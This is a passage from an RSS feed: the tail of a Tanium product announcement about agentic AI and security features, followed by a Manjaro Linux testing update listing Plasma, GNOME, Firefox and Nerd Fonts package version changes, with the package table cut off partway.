<p class="wp-block-paragraph">Tanium announced several additions to its Autonomous IT Platform spanning agentic AI, exposure management, and security operations. New Alas capabilities include background AI agents, agentic performance analysis, expanded automation, and an <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html">MCP server</a> that exposes governed Tanium data to compatible AI assistants. The company also introduced External Attack Surface Management, Attack Path Mapping, Agent-Guided Threat Hunting, and a private preview integration with Google Threat Intelligence, extending its focus from endpoint management to coordinated autonomous security operations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-08-05 - Plasma 6.7.4, NerdFonts 3.5.0, Firefox, GNOME]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may...]]></description>
<link>https://tsecurity.de/de/3704956/unix-server/testing-update-2026-08-05-plasma-674-nerdfonts-350-firefox-gnome/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704956/unix-server/testing-update-2026-08-05-plasma-674-nerdfonts-350-firefox-gnome/</guid>
<pubDate>Wed, 05 Aug 2026 08:00:00 +0200</pubDate>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-869168-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-869168-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-869168-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-869168-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>
<h2><a name="p-869168-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-869168-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Firefox</strong> <a href="https://www.firefox.com/firefox/153.0.3/releasenotes/">153.0.3</a></li>
<li><strong>Plasma</strong> <a href="https://kde.org/announcements/plasma/6/6.7.4/">6.7.4</a></li>
<li><strong>Nerd Fonts</strong> <a href="https://www.nerdfonts.com/releases">3.5.0</a></li>
<li>Updates for <strong>GNOME</strong> 50.4</li>
</ul>
<h2><a name="p-869168-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-869168-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-08-05-plasma-6-7-4-nerdfonts-3-5-0-firefox-gnome/189361/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.180</li>
<li>linux66 6.6.148</li>
<li>linux612 6.12.101</li>
<li>linux618 6.18.42</li>
<li>linux71 7.1.6</li>
<li>linux72 7.2.0-rc6</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (8/5/26 07:15 CEST)</p>
<ul>
<li>testing core x86_64:  1 new and 1 removed package(s)</li>
<li>testing extra x86_64:  541 new and 540 removed package(s)</li>
<li>testing multilib x86_64:  2 new and 2 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-08-04           2026-08-05
-------------------------------------------------------------------------------
                             pkgconf              3.0.4-1              3.0.5-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-08-04           2026-08-05
-------------------------------------------------------------------------------
                            chromium      151.0.7922.71-1                    -
                                dkms              3.4.1-1              3.4.2-1
                                 gdm               50.1-1               50.2-1
                         gnome-shell             1:50.3-1             1:50.4-1
                    gnome-shell-docs             1:50.3-1             1:50.4-1
                           legendary            0.20.41-2             0.21.0-1
                          libadwaita            1:1.9.2-1            1:1.9.3-1
                    libadwaita-demos            1:1.9.2-1            1:1.9.3-1
                     libadwaita-docs            1:1.9.2-1            1:1.9.3-1
                              libgdm               50.1-1               50.2-1
               tuxedo-control-center              3.0.7-1              3.0.8-1


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-08-04           2026-08-05
-------------------------------------------------------------------------------
                                apko             1.2.25-1             1.2.31-1
                                 apt              3.3.1-1              3.3.2-1
                            apt-docs              3.3.1-1              3.3.2-1
                                arti              2.5.0-1              2.5.1-1
                               atuin            18.18.1-1            18.19.0-1
                        atuin-server            18.18.1-1            18.19.0-1
                      audiobookshelf             2.36.0-1             2.36.0-2
                             aurorae              6.7.3-1              6.7.4-1
                       bcachefs-dkms           3:1.38.8-2           3:1.39.0-1
                      bcachefs-tools           3:1.38.8-2           3:1.39.0-1
                               biome              2.5.6-1              2.5.7-1
                              blosc2              3.2.3-1              3.3.1-1
                           bluedevil            1:6.7.3-1            1:6.7.4-1
                          bootconfig              7.1.5-1              7.1.6-1
                                 bpf              7.1.5-1              7.1.6-1
                              breeze              6.7.3-1              6.7.4-1
                      breeze-cursors              6.7.3-1              6.7.4-1
                         breeze-grub              6.7.3-1              6.7.4-1
                          breeze-gtk              6.7.3-1              6.7.4-1
                     breeze-plymouth              6.7.3-1              6.7.4-1
                             breeze5              6.7.3-1              6.7.4-1
                            buildkit             0.32.0-1             0.32.2-1
                       cargo-nextest            0.9.140-1            0.9.143-1
                            chromium     150.0.7871.186-1      151.0.7922.75-1
                             cockpit                365-1                365-2
                  cockpit-packagekit                365-1                365-2
                    cockpit-storaged                365-1                365-2
                     consul-template             0.42.0-1             0.42.1-1
                           copyparty            1.20.19-1            1.20.20-1
                            cpupower              7.1.5-1              7.1.6-1
                               crane             0.21.7-1             0.21.8-1
                 deepin-file-manager           1:6.5.24-1           1:6.5.25-1
                 deepin-image-viewer              6.0.0-1              6.0.1-1
                       deepin-pdfium              1.5.1-1              1.5.2-1
                      deepin-printer              1.0.6-1              1.0.7-1
                     deepin-services             1.0.36-1             1.0.37-1
                             discord          1:1.0.151-1          1:1.0.152-1
                            discover              6.7.3-1              6.7.4-1
                                dnf5           5.2.17.0-6            5.4.2.1-1
                       docker-buildx             0.35.0-1             0.36.0-1
                      docker-compose              5.3.1-1              5.4.0-1
                             drkonqi              6.7.3-1              6.7.4-1
                             dua-cli             2.41.0-1             2.41.1-1
                                dune             3.24.1-1             3.24.2-1
                             dvisvgm                3.6-2              3.6.1-1
                             firefox            153.0.1-1            153.0.3-1
           firefox-developer-edition            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-ach            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-af            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-an            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ar            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-ast            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-az            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-be            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-bg            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-bn            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-br            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-bs            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ca            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-ca-valencia      154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-cak            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-cs            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-cy            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-da            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-de            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-dsb            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-el            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-en-ca            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-en-gb            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-en-us            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-eo            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-es-ar            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-es-cl            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-es-es            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-es-mx            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-et            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-eu            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-fa            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ff            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-fi            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-fr            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-fur            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-fy-nl            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-ga-ie            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-gd            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-gl            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-gn            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-gu-in            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-he            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-hi-in            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-hr            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-hsb            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-hu            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-hy-am            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ia            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-id            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-is            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-it            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ja            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ka            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-kab            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-kk            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-km            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-kn            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ko            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-lij            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-lt            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-lv            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-mk            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-mr            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ms            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-my            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-nb-no            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-ne-np            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-nl            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-nn-no            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-oc            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-pa-in            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-pl            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-pt-br            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-pt-pt            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-rm            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ro            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ru            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-sat            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-sc            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-sco            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-si            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-sk            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-skr            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-sl            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-son            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-sq            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-sr            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-sv-se            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-szl            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ta            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-te            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-tg            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-th            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-tl            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-tr            154.0b5-1            154.0b6-1
  firefox-developer-edition-i18n-trs            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-uk            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-ur            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-uz            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-vi            154.0b5-1            154.0b6-1
   firefox-developer-edition-i18n-xh            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-zh-cn            154.0b5-1            154.0b6-1
firefox-developer-edition-i18n-zh-tw            154.0b5-1            154.0b6-1
                    firefox-i18n-ach            153.0.1-1            153.0.3-1
                     firefox-i18n-af            153.0.1-1            153.0.3-1
                     firefox-i18n-an            153.0.1-1            153.0.3-1
                     firefox-i18n-ar            153.0.1-1            153.0.3-1
                    firefox-i18n-ast            153.0.1-1            153.0.3-1
                     firefox-i18n-az            153.0.1-1            153.0.3-1
                     firefox-i18n-be            153.0.1-1            153.0.3-1
                     firefox-i18n-bg            153.0.1-1            153.0.3-1
                     firefox-i18n-bn            153.0.1-1            153.0.3-1
                     firefox-i18n-br            153.0.1-1            153.0.3-1
                     firefox-i18n-bs            153.0.1-1            153.0.3-1
                     firefox-i18n-ca            153.0.1-1            153.0.3-1
            firefox-i18n-ca-valencia            153.0.1-1            153.0.3-1
                    firefox-i18n-cak            153.0.1-1            153.0.3-1
                     firefox-i18n-cs            153.0.1-1            153.0.3-1
                     firefox-i18n-cy            153.0.1-1            153.0.3-1
                     firefox-i18n-da            153.0.1-1            153.0.3-1
                     firefox-i18n-de            153.0.1-1            153.0.3-1
                    firefox-i18n-dsb            153.0.1-1            153.0.3-1
                     firefox-i18n-el            153.0.1-1            153.0.3-1
                  firefox-i18n-en-ca            153.0.1-1            153.0.3-1
                  firefox-i18n-en-gb            153.0.1-1            153.0.3-1
                  firefox-i18n-en-us            153.0.1-1            153.0.3-1
                     firefox-i18n-eo            153.0.1-1            153.0.3-1
                  firefox-i18n-es-ar            153.0.1-1            153.0.3-1
                  firefox-i18n-es-cl            153.0.1-1            153.0.3-1
                  firefox-i18n-es-es            153.0.1-1            153.0.3-1
                  firefox-i18n-es-mx            153.0.1-1            153.0.3-1
                     firefox-i18n-et            153.0.1-1            153.0.3-1
                     firefox-i18n-eu            153.0.1-1            153.0.3-1
                     firefox-i18n-fa            153.0.1-1            153.0.3-1
                     firefox-i18n-ff            153.0.1-1            153.0.3-1
                     firefox-i18n-fi            153.0.1-1            153.0.3-1
                     firefox-i18n-fr            153.0.1-1            153.0.3-1
                    firefox-i18n-fur            153.0.1-1            153.0.3-1
                  firefox-i18n-fy-nl            153.0.1-1            153.0.3-1
                  firefox-i18n-ga-ie            153.0.1-1            153.0.3-1
                     firefox-i18n-gd            153.0.1-1            153.0.3-1
                     firefox-i18n-gl            153.0.1-1            153.0.3-1
                     firefox-i18n-gn            153.0.1-1            153.0.3-1
                  firefox-i18n-gu-in            153.0.1-1            153.0.3-1
                     firefox-i18n-he            153.0.1-1            153.0.3-1
                  firefox-i18n-hi-in            153.0.1-1            153.0.3-1
                     firefox-i18n-hr            153.0.1-1            153.0.3-1
                    firefox-i18n-hsb            153.0.1-1            153.0.3-1
                     firefox-i18n-hu            153.0.1-1            153.0.3-1
                  firefox-i18n-hy-am            153.0.1-1            153.0.3-1
                     firefox-i18n-ia            153.0.1-1            153.0.3-1
                     firefox-i18n-id            153.0.1-1            153.0.3-1
                     firefox-i18n-is            153.0.1-1            153.0.3-1
                     firefox-i18n-it            153.0.1-1            153.0.3-1
                     firefox-i18n-ja            153.0.1-1            153.0.3-1
                     firefox-i18n-ka            153.0.1-1            153.0.3-1
                    firefox-i18n-kab            153.0.1-1            153.0.3-1
                     firefox-i18n-kk            153.0.1-1            153.0.3-1
                     firefox-i18n-km            153.0.1-1            153.0.3-1
                     firefox-i18n-kn            153.0.1-1            153.0.3-1
                     firefox-i18n-ko            153.0.1-1            153.0.3-1
                    firefox-i18n-lij            153.0.1-1            153.0.3-1
                     firefox-i18n-lt            153.0.1-1            153.0.3-1
                     firefox-i18n-lv            153.0.1-1            153.0.3-1
                     firefox-i18n-mk            153.0.1-1            153.0.3-1
                     firefox-i18n-mr            153.0.1-1            153.0.3-1
                     firefox-i18n-ms            153.0.1-1            153.0.3-1
                     firefox-i18n-my            153.0.1-1            153.0.3-1
                  firefox-i18n-nb-no            153.0.1-1            153.0.3-1
                  firefox-i18n-ne-np            153.0.1-1            153.0.3-1
                     firefox-i18n-nl            153.0.1-1            153.0.3-1
                  firefox-i18n-nn-no            153.0.1-1            153.0.3-1
                     firefox-i18n-oc            153.0.1-1            153.0.3-1
                  firefox-i18n-pa-in            153.0.1-1            153.0.3-1
                     firefox-i18n-pl            153.0.1-1            153.0.3-1
                  firefox-i18n-pt-br            153.0.1-1            153.0.3-1
                  firefox-i18n-pt-pt            153.0.1-1            153.0.3-1
                     firefox-i18n-rm            153.0.1-1            153.0.3-1
                     firefox-i18n-ro            153.0.1-1            153.0.3-1
                     firefox-i18n-ru            153.0.1-1            153.0.3-1
                    firefox-i18n-sat            153.0.1-1            153.0.3-1
                     firefox-i18n-sc            153.0.1-1            153.0.3-1
                    firefox-i18n-sco            153.0.1-1            153.0.3-1
                     firefox-i18n-si            153.0.1-1            153.0.3-1
                     firefox-i18n-sk            153.0.1-1            153.0.3-1
                    firefox-i18n-skr            153.0.1-1            153.0.3-1
                     firefox-i18n-sl            153.0.1-1            153.0.3-1
                    firefox-i18n-son            153.0.1-1            153.0.3-1
                     firefox-i18n-sq            153.0.1-1            153.0.3-1
                     firefox-i18n-sr            153.0.1-1            153.0.3-1
                  firefox-i18n-sv-se            153.0.1-1            153.0.3-1
                    firefox-i18n-szl            153.0.1-1            153.0.3-1
                     firefox-i18n-ta            153.0.1-1            153.0.3-1
                     firefox-i18n-te            153.0.1-1            153.0.3-1
                     firefox-i18n-tg            153.0.1-1            153.0.3-1
                     firefox-i18n-th            153.0.1-1            153.0.3-1
                     firefox-i18n-tl            153.0.1-1            153.0.3-1
                     firefox-i18n-tr            153.0.1-1            153.0.3-1
                    firefox-i18n-trs            153.0.1-1            153.0.3-1
                     firefox-i18n-uk            153.0.1-1            153.0.3-1
                     firefox-i18n-ur            153.0.1-1            153.0.3-1
                     firefox-i18n-uz            153.0.1-1            153.0.3-1
                     firefox-i18n-vi            153.0.1-1            153.0.3-1
                     firefox-i18n-xh            153.0.1-1            153.0.3-1
                  firefox-i18n-zh-cn            153.0.1-1            153.0.3-1
                  firefox-i18n-zh-tw            153.0.1-1            153.0.3-1
                         flatpak-kcm              6.7.3-1              6.7.4-1
                           flowblade             2.24.1-1             2.24.2-1
                      forgejo-runner            12.13.2-1             13.0.0-1
                              gexiv2             0.16.1-1             0.16.2-2
                         gexiv2-docs             0.16.1-1             0.16.2-2
                               gitea             1.27.1-1             1.27.1-2
                                glab            1.111.0-1            1.112.0-1
                               glaze              7.9.1-1              8.0.0-1
                 gnome-initial-setup               50.0-2               50.1-1
gnome-shell-extension-desktop-icons-ng           51.0.4-1             51.0.5-1
                             grafana             13.1.1-1             13.1.2-1
                       haskell-brick                2.6-6               2.12-2
                    haskell-fsnotify          0.4.4.0-101          0.4.4.0-102
                      haskell-hakyll           4.16.6.0-7           4.16.6.0-8
                    haskell-sandwich            0.3.1.0-1            0.3.1.0-3
                haskell-summoner-tui           2.1.0.0-68           2.1.0.0-69
                            hazelnut             0.2.49-1              0.3.0-1
                           headscale             0.29.1-1             0.29.3-1
                        hledger-iadd            1.3.22-82            1.3.22-83
                          hledger-ui            1.52.1-52            1.52.1-53
                              hyperv              7.1.5-1              7.1.6-1
                        hyprshutdown              0.1.1-5              0.1.1-6
                               idris            1.3.4-551            1.3.4-552
                  intel-speed-select              7.1.5-1              7.1.6-1
               jupyter-collaboration              4.4.1-1              4.4.2-1
                                just             1.57.0-1             1.58.0-1
                            just-lsp              0.6.0-1              0.6.1-1
                   kactivitymanagerd              6.7.3-1              6.7.4-1
                              kcpuid              7.1.5-1              7.1.6-1
                       kde-cli-tools              6.7.3-1              6.7.4-1
                      kde-gtk-config              6.7.3-1              6.7.4-1
                         kdecoration              6.7.3-1              6.7.4-1
                    kdeplasma-addons              6.7.3-1              6.7.4-1
                              kgamma              6.7.3-1              6.7.4-1
                       kglobalacceld              6.7.3-1              6.7.4-1
                         kinfocenter              6.7.3-1              6.7.4-1
                       kiwix-desktop              2.5.1-1              2.5.1-2
                         kiwix-tools              3.8.2-2              3.8.2-3
                           kmenuedit              6.7.3-1              6.7.4-1
                          knighttime              6.7.3-1              6.7.4-1
                           kpipewire              6.7.3-1              6.7.4-3
                                krdp              6.7.3-1              6.7.4-1
                             kscreen              6.7.3-1              6.7.4-1
                       kscreenlocker              6.7.3-1              6.7.4-1
                         ksshaskpass              6.7.3-1              6.7.4-1
                        ksystemstats              6.7.3-1              6.7.4-1
                                kubo             0.42.0-1             0.43.0-1
                         kwallet-pam              6.7.3-1              6.7.4-1
                            kwayland              6.7.3-1              6.7.4-1
                kwayland-integration              6.7.3-1              6.7.4-1
                                kwin              6.7.3-1              6.7.4-1
                            kwin-x11              6.7.3-1              6.7.4-1
                             kwrited              6.7.3-1              6.7.4-1
                      layer-shell-qt              6.7.3-1              6.7.4-1
                             lazygit             0.63.1-1             0.64.0-1
                             ldproxy              0.3.4-1              0.3.5-1
                            libfyaml              0.9.6-2              0.9.6-3
                           libgexiv2             0.14.6-2             0.14.7-1
                            libkiwix             14.2.1-1             14.2.1-2
                          libkscreen              6.7.3-1              6.7.4-1
                        libksysguard              6.7.3-1              6.7.4-1
                           libplasma              6.7.3-1              6.7.4-1
                           libtg_owt    0.git34.89df288-2    0.git35.19d51d3-2
                             libvips             8.18.4-2             8.18.5-1
                              libzim              9.7.0-1              9.8.1-1
                    linux-tools-meta              7.1.5-1              7.1.6-1
                              llmfit              1.1.7-1              1.1.8-1
                         loadtracker             1.99.2-1             1.99.4-1
                                 lua              5.5.0-2              5.5.1-1
                             lua-lux             0.39.9-1             0.40.1-1
                           lua51-lux             0.39.9-1             0.40.1-1
                           lua52-lux             0.39.9-1             0.40.1-1
                           lua53-lux             0.39.9-1             0.40.1-1
                           lua54-lux             0.39.9-1             0.40.1-1
                              luajit2.1.1785746657+f30aabe-12.1.1785763465+1edc3e5-1
                             lux-cli             0.39.9-1             0.40.1-1
                              marker         2023.05.02-1         2023.05.02-2
                             marmite              0.4.2-1              0.4.2-2
       matrix-authentication-service             1.21.0-1             1.22.0-1
                          mattermost             11.9.0-2            11.10.0-1
                         meilisearch           1:1.51.0-1           1:1.52.0-1
                             melange             0.52.0-1             0.56.5-1
                    metadata-cleaner              4.0.0-1              4.0.1-1
                          metasploit            6.4.144-1              6.5.0-1
                               milou              6.7.3-1              6.7.4-1
                               mmctl             11.9.0-2            11.10.0-1
                            mustache                4.1-3                4.1-4
                              mutter               50.3-1               50.4-1
                       mutter-devkit               50.3-1               50.4-1
                         mutter-docs               50.3-1               50.4-1
                    nextcloud-client           2:33.0.7-1           2:34.0.0-1
                            obsidian             1.13.4-1             1.13.4-2
                   ocean-sound-theme              6.7.3-1              6.7.4-1
                             openbve           1.14.0.1-1           1.14.0.2-1
                           opencloud              7.3.0-1              7.4.0-1
                            opencode            1.18.11-1            1.18.13-1
   otf-atkinsonhyperlegiblemono-nerd              3.4.0-2              3.5.0-1
                   otf-aurulent-nerd              3.4.0-2              3.5.0-1
               otf-codenewroman-nerd              3.4.0-2              3.5.0-1
                otf-comicshanns-nerd              3.4.0-2              3.5.0-1
                otf-commit-mono-nerd              3.4.0-2              3.5.0-1
                      otf-droid-nerd              3.4.0-2              3.5.0-1
                   otf-firamono-nerd              3.4.0-2              3.5.0-1
                 otf-geist-mono-nerd              3.4.0-2              3.5.0-1
                    otf-hasklig-nerd              3.4.0-2              3.5.0-1
                     otf-hermit-nerd              3.4.0-2              3.5.0-1
                  otf-monaspace-nerd              3.4.0-2              3.5.0-1
               otf-opendyslexic-nerd              3.4.0-2              3.5.0-1
                   otf-overpass-nerd              3.4.0-2              3.5.0-1
                              oxygen              6.7.3-1              6.7.4-1
                      oxygen-cursors              6.7.3-1              6.7.4-1
                       oxygen-sounds              6.7.3-1              6.7.4-1
                             oxygen5              6.7.3-1              6.7.4-1
                               pango           1:1.58.0-1           1:1.58.1-1
                          pango-docs           1:1.58.0-1           1:1.58.1-1
                              patatt              0.7.1-1              0.8.0-1
                                perf              7.1.5-1              7.1.6-1
             perl-business-isbn-data       20260724.001-1       20260804.001-1
                          photoflare              1.7.3-1              1.7.4-1
                         pika-backup              0.8.3-1              0.8.4-1
                   plasma-activities              6.7.3-1              6.7.4-1
             plasma-activities-stats              6.7.3-1              6.7.4-1
                    plasma-bigscreen              6.7.3-1              6.7.4-1
          plasma-browser-integration              6.7.3-1              6.7.4-1
                      plasma-desktop              6.7.3-1              6.7.4-1
                        plasma-disks              6.7.3-1              6.7.4-1
                     plasma-firewall              6.7.3-1              6.7.4-1
                  plasma-integration              6.7.3-1              6.7.4-1
                     plasma-keyboard              6.7.3-1              6.7.4-1
                plasma-login-manager              6.7.3-1              6.7.4-1
                       plasma-mobile              6.7.3-1              6.7.4-1
                         plasma-nano              6.7.3-1              6.7.4-1
                           plasma-nm              6.7.3-1              6.7.4-1
                           plasma-pa              6.7.3-1              6.7.4-1
                          plasma-sdk              6.7.3-1              6.7.4-1
                plasma-systemmonitor              6.7.3-1              6.7.4-1
                  plasma-thunderbolt              6.7.3-1              6.7.4-1
                        plasma-vault              6.7.3-1              6.7.4-1
                      plasma-welcome              6.7.3-1              6.7.4-1
                    plasma-workspace              6.7.3-1              6.7.4-1
         plasma-workspace-wallpapers              6.7.3-1              6.7.4-1
                  plasma-x11-session              6.7.3-1              6.7.4-1
                 plasma5-integration              6.7.3-1              6.7.4-1
                      plasma5support              6.7.3-1              6.7.4-1
                        plymouth-kcm              6.7.3-1              6.7.4-1
                    polkit-kde-agent              6.7.3-1              6.7.4-1
                          powerdevil              6.7.3-1              6.7.4-1
                       print-manager            1:6.7.3-1            1:6.7.4-1
